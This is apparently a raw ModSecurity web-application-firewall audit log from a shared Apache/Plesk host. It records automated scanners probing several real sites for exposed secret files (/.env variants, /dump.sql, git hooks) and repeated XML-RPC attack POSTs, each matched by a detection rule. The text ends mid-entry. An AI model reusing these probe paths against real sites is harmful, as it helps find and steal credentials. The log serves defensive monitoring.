zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab610e7c-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --ab610e7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.bak"] [unique_id "aE9LIxAGYpjnkyifC9YnawAAAAU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.bak"] [unique_id "aE9LIxAGYpjnkyifC9YnawAAAAU"] Stopwatch: 1750027043573576 3357 (- - -) Stopwatch2: 1750027043573576 3357; combined=2111, p1=386, p2=1590, p3=22, p4=27, p5=86, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab610e7c-Z-- --43859e77-A-- [16/Jun/2025:04:07:23.690995 +0530] aE9LIx-kH31pk4mNbsVGFgAAAAo 185.177.72.144 42390 127.0.0.1 7080 --43859e77-B-- GET /.env.example HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --43859e77-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --43859e77-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.example"] [unique_id "aE9LIx-kH31pk4mNbsVGFgAAAAo"] Stopwatch: 1750027043687707 3351 (- - -) Stopwatch2: 1750027043687707 3351; combined=2067, p1=461, p2=1496, p3=21, p4=26, p5=63, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --43859e77-Z-- --fa73d127-A-- [16/Jun/2025:04:07:23.804872 +0530] aE9LI1R6EeXjkGzEkblsCwAAAAs 185.177.72.144 42406 127.0.0.1 7080 --fa73d127-B-- GET /.env.local HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa73d127-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --fa73d127-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.local"] [unique_id "aE9LI1R6EeXjkGzEkblsCwAAAAs"] Stopwatch: 1750027043801824 3092 (- - -) Stopwatch2: 1750027043801824 3092; combined=1903, p1=382, p2=1424, p3=20, p4=24, p5=52, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa73d127-Z-- --655c7b07-A-- [16/Jun/2025:04:07:23.928339 +0530] aE9LI3wHSJGQ1A1pR0qXRQAAAAY 185.177.72.144 42418 127.0.0.1 7080 --655c7b07-B-- GET /.env.old HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --655c7b07-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --655c7b07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.old"] [unique_id "aE9LI3wHSJGQ1A1pR0qXRQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.old"] [unique_id "aE9LI3wHSJGQ1A1pR0qXRQAAAAY"] Stopwatch: 1750027043925060 3349 (- - -) Stopwatch2: 1750027043925060 3349; combined=2083, p1=402, p2=1497, p3=21, p4=26, p5=137, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --655c7b07-Z-- --1a017121-A-- [16/Jun/2025:04:07:24.046175 +0530] aE9LJH2GhYywD7zZgx4BYQAAAAM 185.177.72.144 42426 127.0.0.1 7080 --1a017121-B-- GET /.env.production HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1a017121-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --1a017121-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.production"] [unique_id "aE9LJH2GhYywD7zZgx4BYQAAAAM"] Stopwatch: 1750027044042975 3244 (- - -) Stopwatch2: 1750027044042975 3244; combined=1958, p1=434, p2=1424, p3=19, p4=26, p5=55, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a017121-Z-- --74f7f377-A-- [16/Jun/2025:04:07:24.417763 +0530] aE9LJBAGYpjnkyifC9YnbAAAAAU 185.177.72.144 42460 127.0.0.1 7080 --74f7f377-B-- GET /app/.env HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --74f7f377-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --74f7f377-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/app/.env"] [unique_id "aE9LJBAGYpjnkyifC9YnbAAAAAU"] Stopwatch: 1750027044414861 2945 (- - -) Stopwatch2: 1750027044414861 2945; combined=1836, p1=343, p2=1394, p3=20, p4=24, p5=55, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --74f7f377-Z-- --1bfe2366-A-- [16/Jun/2025:04:07:25.554464 +0530] aE9LJXwHSJGQ1A1pR0qXRwAAAAY 185.177.72.144 42584 127.0.0.1 7080 --1bfe2366-B-- GET /laravel/.env HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 185.177.72.144 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1bfe2366-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --1bfe2366-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/laravel/.env"] [unique_id "aE9LJXwHSJGQ1A1pR0qXRwAAAAY"] Stopwatch: 1750027045551085 3423 (- - -) Stopwatch2: 1750027045551085 3423; combined=2125, p1=432, p2=1600, p3=19, p4=25, p5=49, sr=138, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1bfe2366-Z-- --4162fa78-A-- [16/Jun/2025:04:08:04.498978 +0530] aE9LS7V9qKUox3X8g1YjjwAAAAg 128.199.112.101 34130 127.0.0.1 7081 --4162fa78-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4162fa78-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4162fa78-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9LS7V9qKUox3X8g1YjjwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027083416649 1082384 (- - -) Stopwatch2: 1750027083416649 1082384; combined=2259, p1=370, p2=1530, p3=45, p4=60, p5=159, sr=100, sw=95, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4162fa78-Z-- --9fe2193d-A-- [16/Jun/2025:04:08:21.441943 +0530] aE9LXMalTF-TysO2fMN_GQAAAAE 185.177.72.210 36262 127.0.0.1 7081 --9fe2193d-B-- GET /:5601/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9fe2193d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb4f5d3320cf3ed15d7c2751aff1a5fb1750027101; expires=Sun, 15 Jun 2025 23:38:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9fe2193d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env_hidden"] [unique_id "aE9LXMalTF-TysO2fMN_GQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027100689071 752952 (- - -) Stopwatch2: 1750027100689071 752952; combined=1920, p1=389, p2=1414, p3=0, p4=0, p5=116, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9fe2193d-Z-- --e8c9d028-A-- [16/Jun/2025:04:08:38.979422 +0530] aE9Lbh-kH31pk4mNbsVGOQAAAAo 185.177.72.210 37760 127.0.0.1 7081 --e8c9d028-B-- GET /donn%C3%A9es/env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8c9d028-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0d3ef678982ddde1d3904988876bf1f11750027118; expires=Sun, 15 Jun 2025 23:38:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8c9d028-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/donn\\\\xc3\\\\xa9es/env.bak"] [unique_id "aE9Lbh-kH31pk4mNbsVGOQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027118300878 678629 (- - -) Stopwatch2: 1750027118300878 678629; combined=1854, p1=513, p2=1236, p3=0, p4=0, p5=104, sr=156, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8c9d028-Z-- --c429b825-A-- [16/Jun/2025:04:08:46.768371 +0530] aE9LduB8H_qdtV-ppzUVYAAAAAI 185.177.72.210 37236 127.0.0.1 7081 --c429b825-B-- GET /dump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c429b825-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b0c08669723efc5bfb3ac21705c4f4c71750027126; expires=Sun, 15 Jun 2025 23:38:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c429b825-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dump.sql"] [unique_id "aE9LduB8H_qdtV-ppzUVYAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027126116372 652101 (- - -) Stopwatch2: 1750027126116372 652101; combined=2024, p1=364, p2=1538, p3=0, p4=0, p5=122, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c429b825-Z-- --6230302e-A-- [16/Jun/2025:04:09:05.062918 +0530] aE9LiOB8H_qdtV-ppzUVZwAAAAI 128.199.112.101 49288 127.0.0.1 7081 --6230302e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6230302e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6230302e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9LiOB8H_qdtV-ppzUVZwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027144122241 940731 (- - -) Stopwatch2: 1750027144122241 940731; combined=2363, p1=341, p2=1642, p3=52, p4=60, p5=166, sr=93, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6230302e-Z-- --c4f3ce03-A-- [16/Jun/2025:04:09:05.398727 +0530] aE9LiFxTdrwJSUMoZvGxyAAAAAc 185.177.72.210 49316 127.0.0.1 7081 --c4f3ce03-B-- GET /config/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c4f3ce03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f9c36541a7012e0ab24e215655e55ac21750027145; expires=Sun, 15 Jun 2025 23:39:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c4f3ce03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.prod"] [unique_id "aE9LiFxTdrwJSUMoZvGxyAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027144640707 758082 (- - -) Stopwatch2: 1750027144640707 758082; combined=1745, p1=401, p2=1243, p3=0, p4=0, p5=100, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4f3ce03-Z-- --7042e847-A-- [16/Jun/2025:04:09:19.037815 +0530] aE9LlrV9qKUox3X8g1YjswAAAAg 185.177.72.210 48010 127.0.0.1 7081 --7042e847-B-- GET /:5000/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7042e847-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=799d9c2df296d8d5a0bf3c88bc56d1db1750027158; expires=Sun, 15 Jun 2025 23:39:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7042e847-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/app/frontend/.env"] [unique_id "aE9LlrV9qKUox3X8g1YjswAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027158358516 679360 (- - -) Stopwatch2: 1750027158358516 679360; combined=1874, p1=369, p2=1423, p3=0, p4=0, p5=82, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7042e847-Z-- --be9d084d-A-- [16/Jun/2025:04:09:23.127256 +0530] aE9LmrV9qKUox3X8g1YjtAAAAAg 185.177.72.210 52148 127.0.0.1 7081 --be9d084d-B-- GET /.git/hooks/pre-commit HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --be9d084d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; 